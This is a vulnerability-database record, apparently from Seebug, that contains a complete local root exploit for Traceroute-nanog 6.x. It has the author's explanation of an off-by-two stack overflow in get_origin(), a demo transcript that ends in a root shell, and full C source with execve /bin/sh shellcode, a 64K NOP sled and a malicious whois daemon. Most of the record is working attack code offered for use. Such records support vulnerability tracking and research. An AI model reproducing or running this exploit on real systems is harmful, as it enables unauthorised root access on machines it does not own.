{"href": "https://www.seebug.org/vuldb/ssvid-75827", "status": "cve,poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "Traceroute-nanog 6 Local Buffer Overflow Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-75827", "cvelist": [], "description": "No description provided by source.", "viewCount": 6, "published": "2014-07-01T00:00:00", "sourceData": "\n source: http://www.securityfocus.com/bid/6166/info\r\n\r\nA vulnerability has been discovered in Traceroute-nanog. It has been reported that Traceroute-nanog contains a buffer overflow condition.\r\n\r\nThe overflow occurs in the 'get_origin()' function in the 'traceroute.c' file. Due to insufficient bounds checking performed by the whois parser, it may be possible to cause 'get_origin()' to corrupt memory on the system stack.\r\n\r\nThis vulnerability can be exploited by an attacker to gain root privileges on a target host. \r\n\r\n/*\r\n\r\n---[ Traceroute-nanog 6.0 -> 6.1.1 exploit ]---\r\n\r\nBy Carl Livitt (carl@learningshophull.co.uk)\r\n\r\nExploits a stack overflow in get_origin() function of traceroute.c to gain r00t.\r\nTested on SuSE 7.1, 7.2, 7.3 & 8.0, but should work on 7.0 and 6.x.\r\n\r\nThere are lots more overflows in this traceroute implementation... mostly heap\r\noverflows I think. Have a look, have some fun.\r\n\r\n\r\n---[ About this exploit ]---\r\n\r\nTraceroute-nanog can do WHOIS-like DNS lookups at each hop and find the admin email address\r\nfor each IP. It is possible to set environment variables to tell traceroute\r\nthe IP and port number of your own custom DNS server.\r\n\r\nUnfortunately, traceroute fails to error-check the returned records, making it possible\r\nto trick it into causing a stack overflow (but with limitations).\r\n\r\nMy technique was to write my own malicious server that would inject a carefully\r\ncrafted response to traceroute's query, triggering the overflow and letting\r\nme obtain local r00t access.\r\n\r\n---[ More Info ]---\r\n\r\nWhen get_origin() is called, the stack looks like this:\r\n\r\n char buf[256] tmp4[100] tmp3[100] tmp2[100] tmp1[100] EBP EIP \r\n[bbbbbbbbbbbbbbbbbb44444444443333333333222222222221111111111BBBBIIII] -> 0xbfffffff\r\n\r\nThere is an 8k buffer called 'reply' on the heap. Its purpose is to hold the entire\r\nreply from the server. It is populated by repeated calls to read(2), each call\r\nreading 256 bytes into buf[] which are then concatenated into reply[]. Incedentally, \r\nno bounds checking is done on reply[], making it possible to cause a heap overflow:\r\n\r\ncount = 0;\r\n while ((n = read(s, buf, sizeof(buf))) > 0) {\r\n strcpy((char *)&reply[count],(char *)buf);\r\n count += n;\r\n }\r\n\r\nAfter reading the entire reply into reply[], get_origin() then parses the contents;\r\nthis is where the lack of bounds checking becomes apparent:\r\n\r\nrp = (char *)reply; \r\n origin[0]='\\0';\r\n reply[MAXREPLYLEN-1]='\\0';\r\n\r\n rp = (char *)strstr(rp,tmp2); \r\n while (rp != 0) { \r\n \r\n pp = (char *)strstr(rp,tmp3); \r\n if (pp == 0) { \r\n prefix = 0; \r\n } else {\r\n prefix = atoi(pp+1); \r\n }\r\n\r\n if (prefix >= best_prefix) { \r\n i = (char *)strstr(pp,tmp); \r\n if (i != 0) { \r\n i += strlen(DATA_DELIMITER); \r\n i++; \r\n while (*i == ' ') i++; \r\n \r\n j = i; \r\n while (*j >= '0') j++;\t// CHAR FILTERING\r\n if (prefix > best_prefix) {\r\n strcpy(origin,"/"); \r\n best_prefix = prefix; \r\n } else {\r\n strcat(origin,"/"); \r\n }\r\n strncpy(tmp4,i,(j-i)); // OVERFLOW\r\n tmp4[j-i] = '\\0'; \r\n if (!(strstr(origin,tmp4))) { \r\n strncat(origin,i,(j-i)); \r\n } else {\r\n if (prefix == best_prefix) \r\n origin[strlen(origin)-1] = '\\0';\r\n } \r\n } \r\n } \r\n rp = (char *)strstr(rp+1,tmp2); \r\n } \r\n\r\nget_origin() finds the word 'route:' in reply[], then reads the number that follows \r\nit. If the number is greater than best_prefix (zero), then get_origin() continues to \r\nparse the reply[] buffer. It sets two pointers (*i, *j) to just past the location of \r\nthe string 'origin:', and then increments *j until a character < ASCII '0' is found. \r\n\r\nSo, *i marks the start of the buffer to copy into tmp4[] and *j marks the end of the\r\nbuffer. Because tmp4[] is 100 bytes long and it is possible to construct a reply of \r\narbitrary length, it is trivial to overflow tmp4[], tmp3[], tmp2[] and tmp1[], over-\r\nwriting values on the stack.\r\n\r\nTo exploit this overflow is not quite that simple, however. To redirect the flow of\r\nexecution, the EIP saved on the stack needs to be overwritten with a value such as\r\n0xbfff4567; the problem is that while the chars 0x67 and 0x45 pass the filter\r\nmentioned above (*j >='0'), the chars 0xbf and 0xff do not (j is of type 'char'. Valid\r\nvalues that pass through the filter are 0x30 -> 0x7f). If 0xffbf was to be embedded \r\ninto the reply[] buffer as part of the overflow data, processing of the reply would \r\nstop and the tmp4[] buffer would not be overflowed.\r\n\r\nThis means that we cannot directly affect EIP. That leaves EBP. Again we face the same\r\nproblem: we can only overwrite EBP with values in the range 0x30 -> 0x7f.... and one\r\nother: NULL (0x00). The NULL byte cannot pass through the filter if placed there by an\r\nattacker, but it doesn't matter because get_origin() NULL-terminates the tmp4[] buffer\r\nfor us.\r\n\r\nSo, it is possible to do an off-by-one attack (or off-by-two; more on that later) by\r\nusing the NULL byte to overflow the least-significant byte of the saved EBP. There's\r\nonly one more problem to overcome: we still need to get a malicious EIP value onto the\r\nstack somewhere it can be reached via an off-by-one attack. However, we can't place\r\nthe EIP into the exploit buffer, because the 0xbfffxxxx will not pass through the filter.\r\nLuckily, the reply[] buffer is populated by copying from the stack to the heap via the\r\nbuf[] buffer in 256 bytes chunks until there is no more data to copy. We can (ab)use \r\nthis behaviour by writing the exact amount of data into reply[] (via buf[]) that is\r\nneeded to cause the overflow, then write a value less than '0' which will stop \r\nget_origin() processing the exploit buffer and then we can write as many bytes as we\r\nlike into buf[] (up to 256) _of any value we like_.\r\n\r\nAll of this can be put together to form an exploit string that will overflow EBP, \r\nfill buf[] with our evil EIP and let us execute arbitrary shellcode (stored in an\r\nenvironment variable on the stack).\r\n\r\nThe trouble with this technique is that an off-by-one exploit only gives us one\r\npossible location on the stack to find our evil EIP (remember, it's in buf[]). It\r\nis not possible to reach _any_ address in buf[] using an off-by-one because buf[] is\r\nlocated too far away on the stack. Even by padding out the stack with environment\r\nvariables to alter ESP doesn't work: we can't reach buf[]. However, it IS possible\r\nto use an off-by-two attack:\r\n\r\nOff-by-one:\r\n-----------\r\n0xbffffabc becomes 0xbffffa00\r\n\r\nOff-by-two:\r\n-----------\r\n0xbffffabc becomes 0xbfff00nn where nn is any value in range 0x30 -> 0x7f.\r\n\r\nAha! Now we've got a lot more flexibility in how we can reach buf[], and thus EIP.\r\nAll that is needed is to pad the stack by about 64K so that buf[] is located near\r\n0xbfff00nn. This is accomplished by using an enormous environment variable to hold\r\nour shellcode... in the exploit code I use about 64K of NOPs to do the trick. This\r\nhas the added bonus that it's difficult to miss 64K of NOPs when jumping to shellcode!\r\n\r\nThis exploit was very interesting to write. A couple of times I threw my hands up in\r\ndisgust as I thought it was not going to be possible to execute shellcode... but it\r\njust goes to show what a little coffee and lateral thinking can do. \r\n\r\n\r\n---[ Usage ]---\r\n\r\nFirst, you must start the malicious daemon that will answer traceroute's query. It \r\ncan run on the same machine as you are exploiting, or on a different one... it makes\r\nno difference. Then, you run the exploit which will start traceroute with the \r\ncorrect environment variables to cause the overflow:\r\n\r\nExample 1:\r\n--------------\r\n\r\ncarl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -d\r\nNow run this exploit with the '-e' flag.\r\ncarl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -e\r\ntraceroute to www.yahoo.akadns.net (66.218.71.80), 30 hops max, 40 byte packets\r\n 1 sh-2.05# id\r\nuid=0(root) gid=100(users) groups=100(users)\r\nsh-2.05#\r\n\r\n\r\nExample 2:\r\n--------------\r\n\r\ncarl@testingserver:/tmp > /sbin/ifconfig eth0 |grep inet\r\n inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0\r\ncarl@testingserver:/tmp > ./traceroute-exploit -d\r\nNow run this exploit with the '-e' flag.\r\n\r\n\r\ncarl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -e -s 192.168.1.100\r\ntraceroute to www.yahoo.akadns.net (64.58.76.179), 30 hops max, 40 byte packets\r\n 1 sh-2.05# id\r\nuid=0(root) gid=100(users) groups=100(users),102(wwwrun)\r\nsh-2.05#\r\n\r\n\r\nNote that you _must_ run this exploit in '-d' (daemon) mode first, otherwise the\r\ntraceroute will just run as normal and you'll never be able to exploit it.\r\n\r\n---[ Thats all folks ]---\r\n\r\nMaybe this exploit has bugs, maybe not. Who knows for sure? Who cares, it's an\r\nexploit that does what I needed and no more. Maybe I'll spend time refining it\r\nlater.\r\n\r\nOn that note, if you make any additions/bugfixes/changes, then please mail copies\r\nof the source back to me... thanks.\r\n\r\nHave a nice r00t,\r\nCarl.\r\n*/\r\n\r\n\r\n#include <sys/types.h>\r\n#include <sys/socket.h>\r\n#include <netinet/in.h>\r\n#include <arpa/inet.h>\r\n#include <netdb.h>\r\n#include <malloc.h>\r\n#include <stdio.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n#define _GNU_SOURCE\r\n#include <getopt.h>\r\n\r\n// Sensible defaults that work on SuSE 7.x & 8.0 (possibly others)\r\n#define BUFSIZE 64128\r\n#define RA_SERVER "localhost"\r\n#define RA_SERVICE "ap"\r\n#define TRACEROUTE "/usr/sbin/traceroute"\r\n#define FLAGS "-nOA"\r\n#define TRACE_HOST "www.yahoo.com"\r\n#define NOT_SET 0\r\n#define DAEMON 1\r\n#define EXPLOIT 2\r\n#define EXPLOIT_START "xxxxroute: /1 origin:111"\r\n#define RET_ADDR 0xbfff4444\r\n\r\nvoid do_daemon(char *service);\r\nvoid run_daemon(char *service);\r\n\r\nchar shellcode[] =\r\n "\\x31\\xc0\\x31\\xdb\\xb0\\x17\\xcd\\x80" // setuid(0)\r\n "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"\r\n "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"\r\n "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh"; // aleph1 execve() of /bin/sh\r\n\r\nchar usage[] =\r\n"\\ntraceroute-exploit - By Carl Livitt (carl@learningshophull.co.uk)\\n"\r\n"Exploits traceroute-nanog 6.0 -> 6.1.1 and others on SuSE 7.x/8.0\\n\\n"\r\n"Usage:\\n"\r\n" ./traceroute-exploit < -d | -e > [ options ]\\n\\n"\r\n"Options:\\n"\r\n"-d Run in daemon mode (stage 1)\\n"\r\n"-e Run in exploit mode (stage 2)\\n"\r\n"-h Display this help\\n"\r\n"-H host Traceroute to 'host' [www.yahoo.com]\\n"\r\n"-s server Specify host running exploit daemon [localhost]\\n"\r\n"-S service Name of service port on exploit daemon host [ap]\\n"\r\n" ap = port 47806/tcp (see /etc/services)\\n"\r\n"-t filename Full path to traceroute binary [/usr/sbin/traceroute]\\n"\r\n"-b bufsize Size of shellcode buffer [64128]\\n"\r\n"-v Be verbose\\n\\n"\r\n"Example (works on SuSE 7.x/8.0):\\n"\r\n" ./traceroute-exploit -d\\n"\r\n" ./traceroute-exploit -e\\n\\n"\r\n"Example 2 (uses mysql port(3306)):\\n"\r\n" ./traceroute-exploit -d -S mysql\\n"\r\n" ./traceroute-exploit -e -S mysql\\n\\n";\r\n\r\nextern char *optarg;\r\nextern int optind, opterr, optopt;\r\n\r\nmain(int argc, char **argv) {\r\n char *env[4];\r\n char *traceroute[4];\r\n char host[256], server[256], service[256],filename[256];\r\n int bufsize, verbose=0;\r\n int c,exploitMode=NOT_SET;\r\n char *buf;\r\n char tmp[256];\r\n\r\n\t\t// some sensible defaults that work out-of-the-box\r\n strncpy(host, TRACE_HOST, 255);\r\n strncpy(server, RA_SERVER, 255);\r\n strncpy(service, RA_SERVICE, 255);\r\n strncpy(filename, TRACEROUTE, 255);\r\n bufsize=BUFSIZE;\r\n\r\n // process command-line args\r\n\t\twhile((c=getopt(argc,argv,"vdehH:s:S:t:b:"))!=-1) {\r\n switch(c) {\r\n case 'd':\r\n exploitMode=DAEMON;\r\n break;\r\n case 'e':\r\n exploitMode=EXPLOIT;\r\n break;\r\n case 'v':\r\n verbose=1;\r\n break;\r\n case 'H':\r\n strncpy(host,optarg,255);\r\n break;\r\n case 'h':\r\n printf(usage);\r\n break;\r\n case 's':\r\n strncpy(server,optarg,255);\r\n break;\r\n case 'S':\r\n strncpy(service,optarg,255);\r\n break;\r\n case 't':\r\n strncpy(filename,optarg,255);\r\n break;\r\n case 'b':\r\n bufsize=atoi(optarg);\r\n break;\r\n default:\r\n printf(usage);\r\n exit(0);\r\n break;\r\n }\r\n }\r\n \r\n\t\t// make sure the attacker knows what he/she/cowboyneal is doing\r\n\t\tif(exploitMode==NOT_SET) {\r\n printf("You must specify at least '-d' or '-e'. Type '%s -h' for help.\\n", argv[0]);\r\n exit(0);\r\n }\r\n\r\n\t\t// run the malicious, evil daemon and return the attacker to a shell.\r\n if(exploitMode==DAEMON) {\r\n // this function will never return.\r\n\t\t\t\tdo_daemon(service);\r\n }\r\n\r\n // Now run traceroute, making it connect to the malicious daemon.\r\n\t\t\r\n\t\t// Allocate our shellcode buffer.\r\n\t\t// This buffer pads the stack by about 64K\r\n\t\t// which makes the off-by-two attack possible\r\n\t\tif((buf=(char *)malloc(bufsize))==NULL) {\r\n perror("Out of memory??!??!?!?: ");\r\n exit(1);\r\n }\r\n\r\n // fill buffer with NOPs\r\n memset(buf,(int)0x90,(size_t)bufsize-1);\r\n\r\n // start the environment variable\r\n memcpy(buf,"SHELLCODE=",9);\r\n\r\n // fill end of buffer with shellcode\r\n memcpy(buf+bufsize-1-strlen(shellcode), shellcode, strlen(shellcode));\r\n\r\n // null-terminate\r\n buf[bufsize-1]='\\0';\r\n\r\n // setup the environment etc\r\n\t\tenv[0]=strdup(buf);\r\n sprintf(tmp,"RA_SERVER=%s",server);env[1]=strdup(tmp);\r\n sprintf(tmp,"RA_SERVICE=%s",service);env[2]=strdup(tmp);\r\n env[3]=NULL;\r\n sprintf(tmp,"%s",filename);traceroute[0]=strdup(tmp);\r\n sprintf(tmp,"%s",FLAGS);traceroute[1]=strdup(tmp);\r\n sprintf(tmp,"%s",host);traceroute[2]=strdup(tmp);\r\n traceroute[3]=NULL;\r\n\t\tfree(buf);\r\n\r\n // spawn traceroute and gain r00t in the process...\r\n execve(*traceroute, traceroute, env);\r\n}\r\n\r\n// fork, making a daemon listing of port 'service' (ap/47806 by default)\r\n// and return to shell.\r\nvoid do_daemon(char *service) {\r\n if(fork()==0) {\r\n run_daemon(service);\r\n } else {\r\n printf("Now run this exploit with the '-e' flag.\\n");\r\n _exit(0);\r\n }\r\n}\r\n\r\n// the daemon itself\r\nvoid run_daemon(char *service) {\r\n int sock,victim_sock,len,i,j;\r\n struct sockaddr_in server_addr;\r\n struct sockaddr_in victim_addr;\r\n char buf[256];\r\n char exploit_string[4096]=EXPLOIT_START;\r\n struct servent *sv;\r\n\r\n // make sure the attacker has specified\r\n\t\t// a valid service name (eg. mysql, ftp, ap etc)\t\t\r\n\t\tif((sv=getservbyname(service,"tcp"))==NULL) {\r\n perror("getservbyname(): ");\r\n exit(0);\r\n }\r\n\r\n // some magic-number voodoo...\r\n // exploit_string will cause an off-by-two overflow in get_origin()\r\n\t\t// exploit_string:0 'xxxxroute: /1 origin:111'\t# tags used by get_origin()\r\n\t\t// exploit_string:24 'a' x 398\t\t\t\t\t\t# dummy data\r\n\t\t// exploit_string:422 '\\x7f'\t\t\t\t\t\t# least-significant byte of EBP\r\n\t\t// exploit_string:423 '\\x01'\t\t\t\t\t\t# char < '0' to stop processing\r\n\t\t// exploit_string:424 '\\x44\\x44\\xff\\xbb' x 104\t\t# evil EIP containing shellcode\r\n\t\t// exploit_string:528 '\\0'\t\t\t\t\t\t\t# NULL terminator\r\n memset(exploit_string+24, '\\0', 4096-1-24);\r\n memset(exploit_string+24, 'a', 398);\r\n memset(exploit_string+24+398, '\\x7f', 1);\r\n\r\n // the next byte stops get_origin from processing\r\n // any more of the exploit string.\r\n memset(exploit_string+24+399,'\\x01', 4);\r\n\r\n // now we can fill buf[256] with our evil EIP\r\n // and bypass the filtering in get_origin(). Yay!\r\n\t\t// More magic numbers...\r\n i=24+399+4;\r\n j=i+416;\r\n while(i<j) {\r\n exploit_string[i++]=(char)RET_ADDR&0xff;\r\n exploit_string[i++]=(char)(RET_ADDR>>8)&0xff;\r\n exploit_string[i++]=(char)(RET_ADDR>>16)&0xff;\r\n exploit_string[i++]=(char)(RET_ADDR>>24)&0xff;\r\n }\r\n\r\n // setup TCP socket\r\n\t\tif((sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==-1) {\r\n perror("socket(): ");\r\n exit(1);\r\n }\r\n server_addr.sin_family = AF_INET;\r\n server_addr.sin_addr.s_addr = INADDR_ANY;\r\n server_addr.sin_port = sv->s_port;\r\n len=sizeof(server_addr);\r\n\r\n if((bind(sock, (struct sockaddr *)&server_addr, len))<0) {\r\n perror("bind(): ");\r\n exit(1);\r\n }\r\n if((listen(sock, 1))!=0) {\r\n perror("listen(): ");\r\n exit(1);\r\n }\r\n \r\n\t\t// wait for connect from traceroute...\r\n\t\tvictim_sock=accept(sock, (struct sockaddr *)&victim_addr, &len);\r\n\t\t\r\n\t\t// read the IP address that traceroute sends (and ignore it)\r\n read(victim_sock, buf, 255);\r\n \r\n\t\t// write exploit string\r\n\t\twrite(victim_sock, exploit_string, strlen(exploit_string));\r\n \r\n\t\t// so long and thanks for all the fish\r\n\t\tclose(victim_sock);\r\n close(sock);\r\n exit(0);\r\n}\r\n\n ", "id": "SSV:75827", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T14:08:02", "reporter": "Root", "enchantments": {"score": {"value": 0.4, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "dsquare", "idList": ["E-62"]}]}, "exploitation": null, "vulnersScore": 0.4}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647698372, "score": 1659785532}}